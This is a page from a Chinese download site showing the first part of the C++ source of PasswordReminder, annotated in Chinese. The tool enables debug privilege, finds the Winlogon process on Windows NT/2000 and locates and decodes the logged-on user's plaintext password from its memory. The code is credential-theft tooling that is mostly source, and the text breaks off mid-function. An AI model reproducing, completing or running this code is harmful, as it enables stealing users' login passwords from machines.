⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 read it.txt

📁 PasswordReminder希望能通过 急需贵站的资源做题目
💻 TXT
📖 第 1 页 / 共 2 页
字号:
PasswordReminder 
该程序可以获得NT/Win2K当前登录用户的明文密码(需要管理员权限)。

下面是shotgun对代码的分析:
// PasswordReminder.cpp
//
// This code is licensed under the terms of the GPL (gnu public license).
//
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
typedef struct _UNICODE_STRING 
{
 USHORT Length;
 USHORT MaximumLength;
 PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
// Undocumented typedef's
typedef struct _QUERY_SYSTEM_INFORMATION
{
 DWORD GrantedAccess;
 DWORD PID;
 WORD HandleType;
 WORD HandleId;
 DWORD Handle;
} QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
typedef struct _PROCESS_INFO_HEADER
{
 DWORD Count;
 DWORD Unk04;
 DWORD Unk08;
} PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
typedef struct _PROCESS_INFO
{
 DWORD LoadAddress;
 DWORD Size;
 DWORD Unk08;
 DWORD Enumerator;
 DWORD Unk10;
 char Name [0x108];
} PROCESS_INFO, *PPROCESS_INFO;
typedef struct _ENCODED_PASSWORD_INFO
{
 DWORD HashByte;
 DWORD Unk04;
 DWORD Unk08;
 DWORD Unk0C;
 FILETIME LoggedOn;
 DWORD Unk18;
 DWORD Unk1C;
 DWORD Unk20;
 DWORD Unk24;
 DWORD Unk28;
 UNICODE_STRING EncodedPassword;
} ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;
typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORD, PVOID, DWORD, PDWORD);
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING);
// Private Prototypes
BOOL IsWinNT (void);
BOOL IsWin2K (void);
BOOL AddDebugPrivilege (void);
DWORD FindWinLogon (void);
BOOL LocatePasswordPageWinNT (DWORD, PDWORD);
BOOL LocatePasswordPageWin2K (DWORD, PDWORD);
void DisplayPasswordWinNT (void);
void DisplayPasswordWin2K (void);
// Global Variables
PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;
DWORD PasswordLength = 0;
PVOID RealPasswordP = NULL;
PVOID PasswordP = NULL;
DWORD HashByte = 0;
wchar_t UserName [0x400];
wchar_t UserDomain [0x400];
int __cdecl 
 main
 (int argc, 
 char* argv[])
{
 printf ("\n\tPasswordReminder\n\n");
 if ((!IsWinNT ())
  &&
 (!IsWin2K ()))
 {
 printf ("Windows NT or Windows 2000 are required.\n");
 return (0);
 }
 // Add debug privilege to PasswordReminder - 
 // this is needed for the search for Winlogon.
 // 增加PasswordReminder的权限
 // 使得PasswordReminder可以打开并调试Winlogon进程
 if (!AddDebugPrivilege ())
 {
 printf 
  ("Unable to add debug privilege.\n");
 return (0);
 }
 printf ("The debug privilege has been added to PasswordReminder.\n");
 // 获得几个未公开API的入口地址
 HINSTANCE hNtDll = 
 LoadLibrary 
  ("NTDLL.DLL");
 pfnNtQuerySystemInformation =
 (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress 
  (hNtDll, 
  "NtQuerySystemInformation");
 pfnRtlCreateQueryDebugBuffer =
 (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress 
  (hNtDll, 
  "RtlCreateQueryDebugBuffer");
 pfnRtlQueryProcessDebugInformation =
 (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress 
  (hNtDll, 
  "RtlQueryProcessDebugInformation");
 pfnRtlDestroyQueryDebugBuffer =
 (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress 
  (hNtDll, 
  "RtlDestroyQueryDebugBuffer");
 pfnRtlRunDecodeUnicodeString =
 (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress 
  (hNtDll, 
  "RtlRunDecodeUnicodeString");
 // Locate WinLogon's PID - need debug privilege and admin rights.
 // 获得Winlogon进程的PID
 // 这里作者使用了几个Native API,其实使用PSAPI一样可以
 DWORD WinLogonPID =
 FindWinLogon ();
 if (WinLogonPID == 0)
 {
 printf 
  ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n");
 printf 
  ("PasswordReminder is unable to find the password in memory.\n");
 FreeLibrary 
  (hNtDll);
 return (0);
 }
 printf 
 ("The WinLogon process id is %d (0x%8.8lx).\n", 
 WinLogonPID, 
 WinLogonPID);
 // Set values to check memory block against.
 // 初始化几个和用户账号相关的变量
 memset 
 (UserName, 
 0, 
 sizeof (UserName));
 memset 
 (UserDomain, 
 0, 
 sizeof (UserDomain));
 GetEnvironmentVariableW 
 (L"USERNAME", 
 UserName, 
 0x400);
 GetEnvironmentVariableW 
 (L"USERDOMAIN", 
 UserDomain, 
 0x400);
 // Locate the block of memory containing 
 // the password in WinLogon's memory space.
 // 在Winlogon进程中定位包含Password的内存块
 BOOL FoundPasswordPage = FALSE;
 if (IsWin2K ())
 FoundPasswordPage =
  LocatePasswordPageWin2K 
  (WinLogonPID, 
  &PasswordLength);
 else
 FoundPasswordPage =
  LocatePasswordPageWinNT 
  (WinLogonPID, 
  &PasswordLength);
 if (FoundPasswordPage)
 {
 if (PasswordLength == 0)
 {
  printf 
  ("The logon information is: %S/%S.\n", 
  UserDomain, 
  UserName);
  printf 
  ("There is no password.\n");
 }
 else
 {
  printf 
  ("The encoded password is found at 0x%8.8lx and has a length of %d.\n", 
  RealPasswordP, 
  PasswordLength);
  // Decode the password string.
  if (IsWin2K ())
  DisplayPasswordWin2K ();
  else
  DisplayPasswordWinNT ();
 }
 }
 else
 printf 
  ("PasswordReminder is unable to find the password in memory.\n");
 FreeLibrary 
 (hNtDll);
 return (0);
} // main
//
// IsWinNT函数用来判断操作系统是否WINNT
//
BOOL
 IsWinNT
 (void)
{
 OSVERSIONINFO OSVersionInfo;
 OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
 if (GetVersionEx 
  (&OSVersionInfo))
 return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);
 else
 return (FALSE);
} // IsWinNT

//
// IsWin2K函数用来判断操作系统是否Win2K
//
BOOL
 IsWin2K
 (void)
{
 OSVERSIONINFO OSVersionInfo;
 OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
 if (GetVersionEx 
  (&OSVersionInfo))
 return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
   &&
  (OSVersionInfo.dwMajorVersion == 5));
 else
 return (FALSE);
} // IsWin2K

//
// AddDebugPrivilege函数用来申请调试Winlogon进程的特权
//
BOOL 
 AddDebugPrivilege 
 (void)
{
 HANDLE Token;
 TOKEN_PRIVILEGES TokenPrivileges, PreviousState;
 DWORD ReturnLength = 0;
 if (OpenProcessToken 
  (GetCurrentProcess (), 
  TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, 
  &Token))
 if (LookupPrivilegeValue 
  (NULL, 
  "SeDebugPrivilege", 
  &TokenPrivileges.Privileges[0].Luid))
 {
  TokenPrivileges.PrivilegeCount = 1;
  TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  return 
  (AdjustTokenPrivileges
   (Token,
   FALSE,
   &TokenPrivileges,
   sizeof (TOKEN_PRIVILEGES),
   &PreviousState,
   &ReturnLength));
 }
 return (FALSE);
} // AddDebugPrivilege

//
// Note that the following code eliminates the need
// for PSAPI.DLL as part of the executable.
// FindWinLogon函数用来寻找WinLogon进程
// 由于作者使用的是Native API,因此不需要PSAPI的支持
//
DWORD 
 FindWinLogon 
 (void)
{
#define INITIAL_ALLOCATION 0x100
 DWORD rc = 0;
 DWORD SizeNeeded = 0;
 PVOID InfoP = 
 HeapAlloc 
  (GetProcessHeap (),
  HEAP_ZERO_MEMORY,
  INITIAL_ALLOCATION);
 // Find how much memory is required.
 pfnNtQuerySystemInformation 
 (0x10, 
 InfoP, 
 INITIAL_ALLOCATION, 
 &SizeNeeded);
 HeapFree 
 (GetProcessHeap (),
 0,
 InfoP);
 // Now, allocate the proper amount of memory.
 InfoP = 
 HeapAlloc 
  (GetProcessHeap (),
  HEAP_ZERO_MEMORY,
  SizeNeeded);
 DWORD SizeWritten = SizeNeeded;
 if (pfnNtQuerySystemInformation 
  (0x10, 
  InfoP, 
  SizeNeeded, 
  &SizeWritten))
 {
 HeapFree 
  (GetProcessHeap (),
  0,
  InfoP);
 return (0);
 }
 DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);
 if (NumHandles == 0)
 {
 HeapFree 
  (GetProcessHeap (),
  0,
  InfoP);
 return (0);
 }
 PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =
 (PQUERY_SYSTEM_INFORMATION) InfoP;
 DWORD i;
 for (i = 1; i <= NumHandles; i++)
 {
 // "5" is the value of a kernel object type process.
 if (QuerySystemInformationP->HandleType == 5)
 {
  PVOID DebugBufferP =
  pfnRtlCreateQueryDebugBuffer 
   (0, 
   0);
  if (pfnRtlQueryProcessDebugInformation 
   (QuerySystemInformationP->PID,
   1,
   DebugBufferP) == 0)
  {
  PPROCESS_INFO_HEADER ProcessInfoHeaderP =
   (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);
  DWORD Count =
   ProcessInfoHeaderP->Count;
  PPROCESS_INFO ProcessInfoP =
   (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));
  if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)
  {
   DWORD i;
   DWORD dw = (DWORD) ProcessInfoP;
   for (i = 0; i < Count; i++)
   {
   dw += sizeof (PROCESS_INFO);
   ProcessInfoP = (PPROCESS_INFO) dw;
   if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)
    return (0);
   if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)
    rc = 
    QuerySystemInformationP->PID;
   }
   if (DebugBufferP)

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -